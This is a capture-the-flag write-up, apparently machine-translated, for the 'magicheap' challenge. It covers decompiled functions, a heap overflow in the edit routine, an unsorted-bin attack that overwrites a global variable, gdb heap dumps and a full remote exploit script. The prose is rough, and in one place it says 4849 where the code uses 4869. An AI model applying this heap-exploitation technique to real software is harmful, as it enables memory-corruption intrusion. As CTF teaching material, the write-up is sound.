table of Contents
Routine inspection
Reverse analysis
--------------------------------
Magic Heap Creator
--------------------------------
1. Create a Heap
2. Edit a Heap
3. Delete a Heap
4. Exit
--------------------------------
Your choice :
create_heap function
unsigned __int64 create_heap()
{
signed int i; // [rsp+4h] [rbp-1Ch]
size_t size; // [rsp+8h] [rbp-18h]
char buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 9; ++i )
{
if ( !heaparray[i] )
{
printf("Size of Heap : ");
read(0, &buf, 8uLL);
size = atoi(&buf);
heaparray[i] = malloc(size);
if ( !heaparray[i] )
{
puts("Allocate Error");
exit(2);
}
printf("Content of heap:", &buf);
read_input(heaparray[i], size);
puts("SuccessFul");
return __readfsqword(0x28u) ^ v4;
}
}
return __readfsqword(0x28u) ^ v4;
}
- heaparray array: the first address chunk of storage.
- read_input function: the contents of the input we write the chunk.
edit function
int edit_heap()
{
__int64 v1; // [rsp+0h] [rbp-10h]
size_t v2; // [rsp+8h] [rbp-8h]
printf("Index :");
read(0, &v1 + 4, 4uLL);
LODWORD(v1) = atoi(&v1 + 4);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( !heaparray[v1] )
return puts("No such heap !");
printf("Size of Heap : ", &v1 + 4, v1);
read(0, &v1 + 4, 8uLL);
v2 = atoi(&v1 + 4);
printf("Content of heap : ", &v1 + 4, v1);
read_input(heaparray[v1], v2);
return puts("Done !");
}
You can edit the content chunk again, and you can select the input size. If the size is larger than this time we enter when you create, it would cause a heap overflow
delete function
int delete_heap()
{
int v1; // [rsp+8h] [rbp-8h]
char buf; // [rsp+Ch] [rbp-4h]
printf("Index :");
read(0, &buf, 4uLL);
v1 = atoi(&buf);
if ( v1 < 0 || v1 > 9 )
{
puts("Out of bound!");
_exit(0);
}
if ( !heaparray[v1] )
return puts("No such heap !");
free(heaparray[v1]);
heaparray[v1] = 0LL;
return puts("Done !");
}
Release the corresponding index of the chunk, and the corresponding array heaparray address set to zero.
main function
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 4869 )
{
if ( magic <= 0x1305 )
{
puts("So sad !");
}
else
{
puts("Congrt !");
get_flag();
}
}
magic is in the global variable bss section, if we can control the magic v3 4849 and overrides its value greater than 0x1305, will be able to get flag.
the whole idea
Use process
create_heap(0x20, "dada") # 0
create_heap(0x80, "dada") # 1
# in order not to merge into top chunk
create_heap(0x20, "dada") # 2
del_heap(1)
magic = 0x6020a0
fd = 0
bk = magic - 0x10
edit_heap(0, 0x20 + 0x20, "a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
First create three chunk, chunk 2 is to prevent the free chunk 1 chunk 1 when combined with the top chunk, and then we free fall chunk 1, chunk 1 size larger than global_max_fast, so after the free fall will enter the unsorted bin. Then we overflow override chunk bk pointer by 1 chunk 0, this case is as follows heap
gdb-peda$ parseheap
addr prev size status fd bk
0x2502000 0x0 0x30 Used None None chunk 0
0x2502030 0x0 0x90 Freed 0x0 0x602090 chunk 1
gdb-peda$ x /12xg 0x2502000
0x2502000: 0x0000000000000000 0x0000000000000031 chunk 0
0x2502010: 0x6161616161616161 0x6161616161616161
0x2502020: 0x6161616161616161 0x6161616161616161
0x2502030: 0x0000000000000000 0x0000000000000091 chunk 1
0x2502040: 0x0000000000000000 0x0000000000602090 bk
0x2502050: 0x0000000000000000 0x0000000000000000
Can be found, we have successfully put bk pointer overwrite chunk 1 is magic - 0x10
create(0x80,'aaaa')
Then we create again with one of the same size chunk chunk, chunk 1 is free off will be removed from the unsorted bin, made from chain operations
unsorted_chunks(av)->bk = bck = victim->bk = magic - 0x10;
bck->fd = *(magic - 0x10 + 0x10) = unsorted_chunks(av);
That is, we write a value of greater than 0x1305 (unsorted bin list head address) to magic, then we again malloc and unsorted bin of the same size block you can successfully get into the get_flag shell.
拿 shell get flag
exp script
from pwn_debug import *
pdbg = pwn_debug('magicheap')
pdbg.remote('node3.buuoj.cn',29077)
pdbg.local()
r = pdbg.run('remote')
def create(size,content):
r.recvuntil(':')
r.sendline('1')
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(content)
def edit(idx,size,content):
r.recvuntil(':')
r.sendline('2')
r.recvuntil(':')
r.sendline(str(idx))
r.recvuntil(':')
r.sendline(str(size))
r.recvuntil(':')
r.sendline(content)
def delete(idx):
r.recvuntil(':')
r.sendline('3')
r.recvuntil(':')
r.sendline(str(idx))
create(0x20,'aaaa')
create(0x80,'bbbb')
create(0x20,'cccc')
#gdb.attach(r)
delete(1)
#gdb.attach(r)
magic = 0x6020a0
fd = 0
bk = magic -0x10
edit(0,0x40,'a' * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
#gdb.attach(r)
create(0x80,'aaaa')
r.recvuntil(":")
r.sendline('4869')
r.interactive()